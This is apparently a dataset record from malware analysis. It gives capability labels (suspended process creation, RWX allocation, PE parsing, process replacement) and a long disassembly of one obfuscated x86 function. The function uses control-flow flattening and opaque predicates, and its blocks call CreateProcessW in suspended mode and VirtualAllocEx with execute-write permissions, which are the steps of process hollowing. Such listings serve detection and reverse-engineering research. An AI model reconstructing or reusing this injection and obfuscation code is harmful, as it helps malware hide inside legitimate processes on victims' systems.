Function at 0x10002f30
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x154
mov eax, dword [0x1008b400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x15c], 0x599354a4
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x160], eax
sub eax, 0x80f89a92
je 0x1000a065
jmp 0x10002f6c
mov eax, dword [ebp - 0x160]
sub eax, 0x81aa015f
je 0x1000a267
jmp 0x10002f82
mov eax, dword [ebp - 0x160]
sub eax, 0x82daf089
je 0x10008314
jmp 0x10002f98
mov eax, dword [ebp - 0x160]
sub eax, 0x83985988
je 0x100063bc
jmp 0x10002fae
mov eax, dword [ebp - 0x160]
sub eax, 0x83f10983
je 0x100054af
jmp 0x10002fc4
mov eax, dword [ebp - 0x160]
sub eax, 0x84e22ba2
je 0x100075cd
jmp 0x10002fda
mov eax, dword [ebp - 0x160]
sub eax, 0x84fa7c91
je 0x10006c46
jmp 0x10002ff0
mov eax, dword [ebp - 0x160]
sub eax, 0x852a209c
je 0x10005d8a
jmp 0x10003006
mov eax, dword [ebp - 0x160]
sub eax, 0x86575bab
je 0x10008b61
jmp 0x1000301c
mov eax, dword [ebp - 0x160]
sub eax, 0x8926c7ae
je 0x100068a2
jmp 0x10003032
mov eax, dword [ebp - 0x160]
sub eax, 0x8aa796c6
je 0x10009210
jmp 0x10003048
mov eax, dword [ebp - 0x160]
sub eax, 0x8c3bb3bd
je 0x10009eb3
jmp 0x1000305e
mov eax, dword [ebp - 0x160]
sub eax, 0x8c5d38ab
je 0x10007f5b
jmp 0x10003074
mov eax, dword [ebp - 0x160]
sub eax, 0x8c69ada0
je 0x10008a5b
jmp 0x1000308a
mov eax, dword [ebp - 0x160]
sub eax, 0x8c960156
je 0x100072d7
jmp 0x100030a0
mov eax, dword [ebp - 0x160]
sub eax, 0x8c99579c
je 0x10005f13
jmp 0x100030b6
mov eax, dword [ebp - 0x160]
sub eax, 0x8cd64b5a
je 0x100054eb
jmp 0x100030cc
mov eax, dword [ebp - 0x160]
sub eax, 0x8cf1bee3
je 0x1000612a
jmp 0x100030e2
mov eax, dword [ebp - 0x160]
sub eax, 0x8d07124b
je 0x100078ee
jmp 0x100030f8
mov eax, dword [ebp - 0x160]
sub eax, 0x8df3be77
je 0x10005c78
jmp 0x1000310e
mov eax, dword [ebp - 0x160]
sub eax, 0x8e1a55a6
je 0x1000a1fa
jmp 0x10003124
mov eax, dword [ebp - 0x160]
sub eax, 0x8e8ba625
je 0x10005419
jmp 0x1000313a
mov eax, dword [ebp - 0x160]
sub eax, 0x8f18ea10
je 0x10008d55
jmp 0x10003150
mov eax, dword [ebp - 0x160]
sub eax, 0x8f5b3c95
je 0x10005472
jmp 0x10003166
mov eax, dword [ebp - 0x160]
sub eax, 0x8f81b99f
je 0x1000729b
jmp 0x1000317c
mov eax, dword [ebp - 0x160]
sub eax, 0x91213e15
je 0x1000704e
jmp 0x10003192
mov eax, dword [ebp - 0x160]
sub eax, 0x92f4b590
je 0x10007ab9
jmp 0x100031a8
mov eax, dword [ebp - 0x160]
sub eax, 0x932e892e
je 0x10007ff0
jmp 0x100031be
mov eax, dword [ebp - 0x160]
sub eax, 0x93f86a90
je 0x100098fe
jmp 0x100031d4
mov eax, dword [ebp - 0x160]
sub eax, 0x94289fc8
je 0x100058dc
jmp 0x100031ea
mov eax, dword [ebp - 0x160]
sub eax, 0x945c92ae
je 0x10009289
jmp 0x10003200
mov eax, dword [ebp - 0x160]
sub eax, 0x951f9c78
je 0x10005a98
jmp 0x10003216
mov eax, dword [ebp - 0x160]
sub eax, 0x959a563b
je 0x1000837a
jmp 0x1000322c
mov eax, dword [ebp - 0x160]
sub eax, 0x95ee0b0e
je 0x1000771c
jmp 0x10003242
mov eax, dword [ebp - 0x160]
sub eax, 0x96166028
je 0x1000a475
jmp 0x10003258
mov eax, dword [ebp - 0x160]
sub eax, 0x96bc647b
je 0x10005b4a
jmp 0x1000326e
mov eax, dword [ebp - 0x160]
sub eax, 0x9852e91e
je 0x10006533
jmp 0x10003284
mov eax, dword [ebp - 0x160]
sub eax, 0x98aad034
je 0x10007884
jmp 0x1000329a
mov eax, dword [ebp - 0x160]
sub eax, 0x98d8ef91
je 0x100055a3
jmp 0x100032b0
mov eax, dword [ebp - 0x160]
sub eax, 0x98eadd77
je 0x10007dd9
jmp 0x100032c6
mov eax, dword [ebp - 0x160]
sub eax, 0x9994383a
je 0x10009527
jmp 0x100032dc
mov eax, dword [ebp - 0x160]
sub eax, 0x99fc7c10
je 0x1000a1cb
jmp 0x100032f2
mov eax, dword [ebp - 0x160]
sub eax, 0x9a878991
je 0x100066ef
jmp 0x10003308
mov eax, dword [ebp - 0x160]
sub eax, 0x9bac9d7a
je 0x10007240
jmp 0x1000331e
mov eax, dword [ebp - 0x160]
sub eax, 0x9d7b0887
je 0x10007231
jmp 0x10003334
mov eax, dword [ebp - 0x160]
sub eax, 0x9dc7967f
je 0x10008968
jmp 0x1000334a
mov eax, dword [ebp - 0x160]
sub eax, 0x9e1c9452
je 0x10005e1f
jmp 0x10003360
mov eax, dword [ebp - 0x160]
sub eax, 0x9f8cc471
je 0x1000924b
jmp 0x10003376
mov eax, dword [ebp - 0x160]
sub eax, 0xa0f57ef1
je 0x10009c50
jmp 0x1000338c
mov eax, dword [ebp - 0x160]
sub eax, 0xa1d86c27
je 0x100066e0
jmp 0x100033a2
mov eax, dword [ebp - 0x160]
sub eax, 0xa21761fe
je 0x100070c9
jmp 0x100033b8
mov eax, dword [ebp - 0x160]
sub eax, 0xa2c7ff7a
je 0x10005ba2
jmp 0x100033ce
mov eax, dword [ebp - 0x160]
sub eax, 0xa2f219e3
je 0x10008495
jmp 0x100033e4
mov eax, dword [ebp - 0x160]
sub eax, 0xa30572a7
je 0x10008795
jmp 0x100033fa
mov eax, dword [ebp - 0x160]
sub eax, 0xa3ae53bf
je 0x10006449
jmp 0x10003410
mov eax, dword [ebp - 0x160]
sub eax, 0xa4146e15
je 0x100075be
jmp 0x10003426
mov eax, dword [ebp - 0x160]
sub eax, 0xa4247cef
je 0x10007ac8
jmp 0x1000343c
mov eax, dword [ebp - 0x160]
sub eax, 0xa4de7be3
je 0x10008c74
jmp 0x10003452
mov eax, dword [ebp - 0x160]
sub eax, 0xa646ad01
je 0x10006bdc
jmp 0x10003468
mov eax, dword [ebp - 0x160]
sub eax, 0xa74ff596
je 0x100094b5
jmp 0x1000347e
mov eax, dword [ebp - 0x160]
sub eax, 0xa7badd1b
je 0x1000a48a
jmp 0x10003494
mov eax, dword [ebp - 0x160]
sub eax, 0xa7e749d5
je 0x10009bcb
jmp 0x100034aa
mov eax, dword [ebp - 0x160]
sub eax, 0xa832768f
je 0x100081be
jmp 0x100034c0
mov eax, dword [ebp - 0x160]
sub eax, 0xa83f0c6f
je 0x10009f5c
jmp 0x100034d6
mov eax, dword [ebp - 0x160]
sub eax, 0xa8b4af79
je 0x1000994d
movss xmm0, dword [0x10017234]
movss dword [ebp - 0x12c], xmm0
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfd3afc5
mov ecx, 0x8f5b3c95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x1943336a
jmp 0x1000a5d3
mov dl, 1
mov eax, 0x21cbd9a3
mov ecx, 0x4c0f316a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
movss xmm0, dword [0x100173a0]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x15c], 0x21cbd9a3
jmp 0x1000a5d3
mov dl, 1
mov eax, 0x1d3c6696
mov ecx, 0x61b9e40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
mov edx, eax
sub edx, 0xec75b983
sub edx, 1
add edx, 0xec75b983
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf183e0e7
mov ecx, 0x8b58f61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
mov edx, eax
sub edx, 0x24fe455f
sub edx, 1
add edx, 0x24fe455f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa0f5c36
mov ecx, 0xda8647de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x5fe1807f
jmp 0x1000a5d3
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d5132d
mov ecx, 0xae215b35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
movss xmm0, dword [0x10017224]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x1008c728]
mov eax, dword [0x1008c724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1f80b1ff
mov ecx, 0x5c3ac24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
movss xmm0, dword [0x10017220]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x1008c728]
mov eax, dword [0x1008c724]
mov edx, ecx
add edx, 0x45b9dd99
sub edx, 1
sub edx, 0x45b9dd99
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x67b1a89a
mov ecx, 0x7b8ef6ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov ecx, dword [0x1008c728]
mov eax, dword [0x1008c724]
mov edx, ecx
sub edx, 0x2c9a53f6
sub edx, 1
add edx, 0x2c9a53f6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaa12b13b
mov ecx, 0xcc944c61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x1e6638b3
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0xf7ca13d0
jmp 0x1000a5d3
movss xmm0, dword [0x10017340]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x15c], 0x286c8ce
jmp 0x1000a5d3
movss xmm0, dword [0x10017204]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
mov edx, eax
add edx, 0x6ce947db
sub edx, 1
sub edx, 0x6ce947db
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf66f2f4b
mov ecx, 0xffc4c832
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
movss xmm0, dword [0x10017330]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x15c], 0xda240d26
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x9a878991
jmp 0x1000a5d3
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
mov edx, eax
sub edx, 0x574aa6d3
sub edx, 1
add edx, 0x574aa6d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb73a13a5
mov ecx, 0x22fbff37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
mov edx, eax
sub edx, 0x4b063e2f
sub edx, 1
add edx, 0x4b063e2f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xacdccfa5
mov ecx, 0x5075173
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x6e7b6d72
jmp 0x1000a5d3
movss xmm0, dword [0x100172f4]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x100172f0]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x100172ec]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x15c], 0x28d809d1
jmp 0x1000a5d3
movss xmm0, dword [0x100172bc]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x15c], 0x633f28e4
jmp 0x1000a5d3
movss xmm0, dword [0x100172ac]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x15c], 0x7b7cb5b3
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x9bac9d7a
jmp 0x1000a5d3
mov dl, 1
mov eax, 0x8f81b99f
mov ecx, 0x6b7ba931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
movss xmm0, dword [0x10017294]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x15c], 0xc164cb7d
jmp 0x1000a5d3
movss xmm0, dword [0x10017290]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x1001728c]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x15c], 0x41c0b8fa
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x84e22ba2
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0xe971983e
jmp 0x1000a5d3
movss xmm0, dword [0x10017288]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10017284]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x15c], 0xf8bada6f
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0xda49cb60
jmp 0x1000a5d3
movss xmm0, dword [0x10017270]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x15c], 0x59e49008
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0xa4247cef
jmp 0x1000a5d3
mov ecx, dword [0x1008c728]
mov eax, dword [0x1008c724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e1a55a6
mov ecx, 0x71e6a474
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
movss xmm0, dword [0x100171a4]
movss dword [ebp - 0x148], xmm0
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81aa015f
mov ecx, 0x3c870553
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
movss xmm0, dword [0x10017254]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x15c], 0x33e97800
jmp 0x1000a5d3
movss xmm0, dword [0x100171a0]
movss dword [ebp - 0x148], xmm0
mov ecx, dword [0x1008c728]
mov eax, dword [0x1008c724]
mov edx, ecx
add edx, 0xb4d8fb2a
sub edx, 1
sub edx, 0xb4d8fb2a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x462af643
mov ecx, 0x400f0c9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dl, 1
mov eax, 0x5b9022cf
mov ecx, 0x11ef7e9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dl, 1
mov eax, 0xddd9987d
mov ecx, 0xaab9d06c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
movss xmm0, dword [0x10017194]
movss dword [ebp - 0x148], xmm0
movss xmm0, dword [0x10017190]
movss dword [ebp - 0x148], xmm0
mov ecx, dword [0x1008c728]
mov eax, dword [0x1008c724]
mov edx, ecx
add edx, 0x8e28a6a9
sub edx, 1
sub edx, 0x8e28a6a9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1ee542b0
mov ecx, 0x6c7e51a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb448454
mov ecx, 0x621e8c10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xda], al
mov dword [ebp - 0x15c], 0x6913cec9
jmp 0x1000a5d3
mov dl, byte [ebp - 0xd9]
mov eax, 0x50869181
mov ecx, 0x3e4cf381
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xd8]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0xcd], al
mov ecx, dword [0x1008c728]
mov eax, dword [0x1008c724]
mov edx, ecx
add edx, 0x6c0f199f
sub edx, 1
sub edx, 0x6c0f199f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x43814531
mov ecx, 0xf58dd3ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xcc]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0xe3b07a9b
jmp 0x1000a5d3
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
mov edx, eax
sub edx, 0x38b73c0f
sub edx, 1
add edx, 0x38b73c0f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5411ccee
mov ecx, 0xecf16835
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x3d9fe3a6
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x4f3ffd20
jmp 0x1000a5d3
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x15c], 0xc8627f47
jmp 0x1000a5d3
mov ecx, dword [0x1008c728]
mov eax, dword [0x1008c724]
mov edx, ecx
sub edx, 0x2d77012f
sub edx, 1
add edx, 0x2d77012f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x96166028
mov ecx, 0x2247a56b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dl, byte [ebp - 0x91]
mov eax, 0xbbdb2bb4
mov ecx, 0xf5659696
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx + 0x34]
add eax, 0x9f50ed0b
sub eax, ecx
sub eax, 0x9f50ed0b
mov dword [ebp - 0x90], eax
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e1aad9c
mov ecx, 0x766884df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0xe0807ee6
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x50869181
jmp 0x1000a5d3
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x68], eax
mov eax, dword [0x1008c728]
mov ecx, dword [0x1008c724]
mov edx, eax
add edx, 0x3f31eb39
sub edx, 1
sub edx, 0x3f31eb39
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb5e77c78
mov ecx, 0xcfda8ca5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000a5d3
mov dword [ebp - 0x15c], 0x74bf94ce
jmp 0x1000a5d3
movss xmm0, dword [0x10017218]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x15c], 0x3b5da945
jmp 0x1000a5d3
movss xmm0, dword [0x100171f0]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x15c], 0xd4343b1a
jmp 0x1000a5d3
movss xmm0, dword [0x100171bc]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x100171b8]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x15c], 0xc48c88b4
jmp 0x1000a5d3
movss xmm0, dword [0x100171b4]
movss dword [ebp - 0x148], xmm0
movss xmm0, dword [0x100171b0]
movss dword [ebp - 0x148], xmm0
movss xmm0, dword [0x100171ac]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x15c], 0x71e6a474
jmp 0x1000a5d3
movss xmm0, dword [0x100171a4]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x15c], 0x98eadd77
jmp 0x1000a5d3
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x15c], 0x2247a56b
jmp 0x1000a5d3
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x15c], 0xf417bd48
jmp 0x1000a5d3
jmp 0x10002f50